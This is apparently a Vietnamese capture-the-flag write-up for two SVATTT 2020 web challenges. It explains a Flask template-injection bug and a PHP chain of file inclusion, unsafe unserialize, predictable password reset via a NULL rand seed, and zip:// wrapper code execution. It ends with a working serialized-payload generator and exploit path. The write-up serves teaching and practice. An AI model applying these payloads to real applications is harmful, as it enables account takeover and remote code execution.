SVATTT (ASCIS) 2020

1) Source cho ai cần (chỉ những file cần thiết để dựng lại bài, không có front-end hay các file dư ra):

2) Note lại cách giải 2 bài trên (mọi người có thể kéo xuống dưới cùng để xem Payload:

TSULOTT 3

Bài này được code bằng Flask, phần code bị lỗi SSTI là đoạn dưới đây

return render_template_string(cheat+check_session("name"))

Vì vậy chỉ cần cho name = Payload, sau đó trigger để app.py gọi đoạn đó render_template_string ra là RCE được

Among Us

Bài này được code bằng PHP, và theo từng bước sau đây để có thể RCE được:

  • LFI ở index.php để có thể lấy được source cả bài về debug ở máy local
include($_GET['page'] . ".php")
  • Forgot Password
$ticket = unserialize(base64_decode($_POST["ticket"]));

Ticket nhận giá trị từ người dùng, nên ta có thể dễ dàng điều khiển được các tham số của ticket dựa trên các loại dữ liệu của 1 Object PHP

  • Check_user_exist
$count = check_user_exists($conn, $username);

Để có thể forgot password 1 user bất kì thì ta phải có 1 user hợp lệ trong database, cái này tác giả đã cung cấp ở crew.php, nếu bạn debug ở local thì có thể tạo 1 vài user trong db như user1, user2 cũng được

  • Check_length
return strlen($input)==$length || count($input)==$length || sizeof($input)==$length;

secret_number nhận từ người dùng có thể là 1 giá trị có len = 9 hay 1 array có len = 9 cũng được, chỗ này nhờ PHP Object thì mình có thể đưa array vào

  • Reset password
if(check_length($secret_number, 9)) {
					$secret_number = strtoupper($secret_number);
					$secret_number = check_string($secret_number);
					$secret = get_secret($conn,$username);
					var_dump($secret_number);
					var_dump($secret);

					if($secret_number !== $secret) {
						print("Wrong secret!");
					}
					else
					{
					print("OK, we will send you the new password");}
					print $secret_number;
					$random_rand = rand(0,$secret_number);
					srand($random_rand);
					$new_password = "";
					while(strlen($new_password) < 30) {
						$new_password .= strval(rand());
					}
					reset_password($conn, $username, $new_password);
					//to do: send mail the new password to the user, code later
					//print($new_password);
				}

Có thể để ý ở đây là lỗi typo, dù secret_number có đúng hay không thì password vẫn reset (vì nằm bên ngoài if). Nhưng nếu không tìm được 1 cách để control được secret_number thì không thể có được password để đăng nhập sau khi reset Để control được new_password thì phải control được rand(). Theo thứ tự việc cần làm thì:

new_password <= rand <= srand <= rand

Và để controll được $random_rand thì $secret_number phải bằng NULL vì rand(0,NULL) = 0 :?

$secret_number = NULL chỉ khi $secret_number là array, sau khi đưa qua strtoupper sẽ trở thành NULL value

php > var_dump(strtoupper(array("ingame","lmht","buixuanhuan")));
PHP Warning:  strtoupper() expects parameter 1 to be string, array given in php shell code on line 1

Warning: strtoupper() expects parameter 1 to be string, array given in php shell code on line 1
NULL
  • Upload, Download zip

Reset password thành công thì khi vào electrical.php sẽ có chức năng upload zip và download file đó về

function upload($file) {
	if(isset($file))
	{
		if($file["size"] > 1485760) {
			die('<center>IMPOSTOR ALERT!!!</center>');
		}	
		$uploadfile=$file["tmp_name"]; // .zip
		$folder="crew_upload/";
		$file_name=$file["name"]; // no .zip
		$new = $file["tmp_name"].$file_name;
		echo $new;
		move_uploaded_file($file["tmp_name"], $new);
		//echo $new;
		//echo $file["tmp_name"];
		$zip = new ZipArchive(); 
		$zip_name ="crew_upload/".md5(uniqid(rand(), true)).".zip"; // Zip name
		if($zip->open($zip_name, ZIPARCHIVE::CREATE)!==TRUE)
		{ 
		 	echo "Sorry ZIP creation failed at this time";
		}
		$zip->addFile($new);
		$zip->close();
		if(isset($_SESSION["link"]) && !empty($_SESSION["link"])) {
			unlink($_SESSION["link"]);
			unset($_SESSION["link"]);
		}
		$_SESSION["link"] = $zip_name;
		#header("Refresh: 0");
	}
}

Luồng hoạt động của function Upload như sau

nhận file upload (test.zip) => rename file thành (tmpxyztest.ziptmpxyztest) => tạo file zip có tên file random => move file zip upload bởi người dùng vào file zip vừa tạo

Ta có 1 file: test.zip (chứa test.php), sau khi upload lên sẽ được download về 1 file zip chứa 1 file zip khác trong đó và bên trong file zip đó sẽ chứa file php ban đầu

Sau khi nhận file upload từ người dùng, web lưu lại 1 bản temp trong /tmp. Kết hợp với LFI có thể dùng protocol zip:// có thể gọi thẳng đến file PHP ban đầu => RCE

Payload

TSULOTT3


AmongUs

Gen Password

<?php 


class CrewMate{
	public $name = "tsu";
	public $secret_number = array("111111111","111111111","111111111","111111111","111111111","111111111","111111111","111111111","111111111");
	// password= 117856802212731241191535857466
}


$ticket = new CrewMate();
echo base64_encode(serialize($ticket));

echo "</br>";

echo var_dump(serialize($ticket))
#
?>

RCE Protocol ZIP

zip:///tmp/php(random_thing)test.zip%23test
Written on November 1, 2020